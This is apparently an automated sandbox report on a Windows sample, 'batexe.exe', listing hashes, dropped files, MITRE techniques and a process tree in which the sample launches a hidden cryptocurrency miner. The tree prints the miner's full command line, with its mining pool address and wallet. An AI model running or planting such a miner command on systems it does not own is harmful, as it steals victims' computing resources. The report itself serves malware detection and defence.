73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18-02-2024 01:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3644	b2e.exe
5448	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5236-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5236 wrote to memory of 3644	5236	batexe.exe	83
PID 5236 wrote to memory of 3644	5236	batexe.exe	83
PID 5236 wrote to memory of 3644	5236	batexe.exe	83
PID 3644 wrote to memory of 2160	3644	b2e.exe	84
PID 3644 wrote to memory of 2160	3644	b2e.exe	84
PID 3644 wrote to memory of 2160	3644	b2e.exe	84
PID 2160 wrote to memory of 5448	2160	cmd.exe	87
PID 2160 wrote to memory of 5448	2160	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5236
- C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FD3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2160
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe

Filesize
13.7MB

MD5
2c865640694a7c51e65609b4aa0cd4ed

SHA1
d511ead16f0ed77c0e986b7b639386e7fde8166a

SHA256
a3e40a7e5baae95fa62b639fddb8c4449c411900128e17410b12fd164f9d50de

SHA512
fbd7cc0d6032f01195d6be88ec8135e3bd6337fde04f4c4e49a35163a2b778bc85f15a36c8c98cfd8aac6762fd44e8a98bfe8b4a2a3fa6dfdb3cdf42bf58b99f

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe

Filesize
5.5MB

MD5
695f881d37c8fee6ad5c20b54a5d5dc5

SHA1
e407f78585ff4b7fb5e1bfe1fbce5142a2a87ed0

SHA256
6f3405908b735a3430f12473b357239fb0ff6f9b5fd1475f48e628bffbc074b1

SHA512
c10610d33e5b8a804858138ec5640db49817e341051a7cb95d746dd1f472529ab039e5d6aaedc090e49a6092811db8c0f8eb05fed75ee435fa4c549ff7b11654

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe

Filesize
4.2MB

MD5
a9fa1a3698f8783ba4b99e08096b654e

SHA1
42fd65fe46dee88805baf3b9b2ccfbb5cdbdc095

SHA256
77d5fc430b5ad47e745a2debf92019dd98714355e6a22ff740b946d8ee5348cc

SHA512
bd3ca56db429f4d8d1b08cb6f1acf339bcd9dcdd9a6d70a3473ee48da4e12866d48a33b73aeaf380c453bfdf982c2a3e8749091a8e7485a05f6f3f22b4a52a45

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FD3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
128KB

MD5
87bb74a6790018700645a8310bb9a32a

SHA1
b0e3e91efa12e0df5ed4538d3b549ab5d9f6c16b

SHA256
ee6a846f1dcf082d5216bf314e65e1428af13ce54dfaaeb371d1c54f330c5298

SHA512
702e12a0858a1dd987d6a761f0ddc88fee9bce38be3d71f8c9be3fecc8cc6e88763967140f83caf4f2e10109ab95b811bb70bc70ff0b5cce8f0f32713ad3683b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
116KB

MD5
83b6821fa1c858f802fbf4114ffcf1da

SHA1
4ec3f7fb4be82c19c7943fa9dc0503f1f4f99e58

SHA256
bce651b25bd75edc7725f7c41cc57a0bed2d85d6d96862bba498cfa1f283a817

SHA512
9d9d0a1fb626ea5a86ced221d90c39323e78472c97b6e30ae4bbacae6c7b058949e7bd76e96bd67b43edb8b0e31292ef682e10aae0976ef74be0ecfd93552b52

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
116KB

MD5
db9f8201b09978cdd502a38117e57edd

SHA1
509b79675178d3ff7e049a9868354621af0d420b

SHA256
317551401ccb0a1b2c8652778558a93d63910029c0ed2f8dd1cee4ded6598794

SHA512
84e9ea836c3517c8fb25e113cfe9ceecb96e639285cfeee80b3040684587943d6dd24f7795c3e863efff99428640c359891a66701ee6955ec010d74286081800

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.3MB

MD5
3668f87b8a430b320b3e00e03c600693

SHA1
7e8ffd62ebee46e716f7f7ff74cadaf416e75cc8

SHA256
00548f4a7f23a1ec02837ee38f3daf4b27a97e9d198a458c0b756656ed8bbc01

SHA512
1f077d27ead0e561b49c1d26c48016a6fe305f472f60b18a5ad4c8384efc770ac1a68d23de0593ab8324929dfcbc57f0590c99dd743647459f841cf260081db4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.2MB

MD5
722a3d956c203edff91eea584e1b187d

SHA1
8db72c6b45f4e91dc6158150626e2c23c7880329

SHA256
5f6614da8298d07a4a519108cdfecaf78e74bc219b531f05e609b40496be9727

SHA512
9c38d361c47539880533b4788a2a46008380b3d761281643e1d6dbf0b34327ff03b597e7286cfa01990368ad1c2d975bd1e83b4b787f182e8bc4c503e3e5ee5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
116KB

MD5
94ce55cbf2e0631766805e69da5ea80c

SHA1
75fd7000970956d6cd1f10b0f851fd6f1fe9c12e

SHA256
7ba3ed284b0cf7b5a7cd6f9f5ff9e8e512fd4af2ec93fb042f42f12d7ad02639

SHA512
c227a31ddba899c0f2e91d12d88f0135717d09d659854aa4a8c6193b729ea87a3f608f6ab5d05d72ce55d7730b09c170b661a0f706e393cc773a20ad75094f74

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3644-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3644-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5236-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5448-46-0x000000006EB00000-0x000000006EB98000-memory.dmp

Filesize
608KB

Download
memory/5448-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5448-47-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/5448-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5448-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download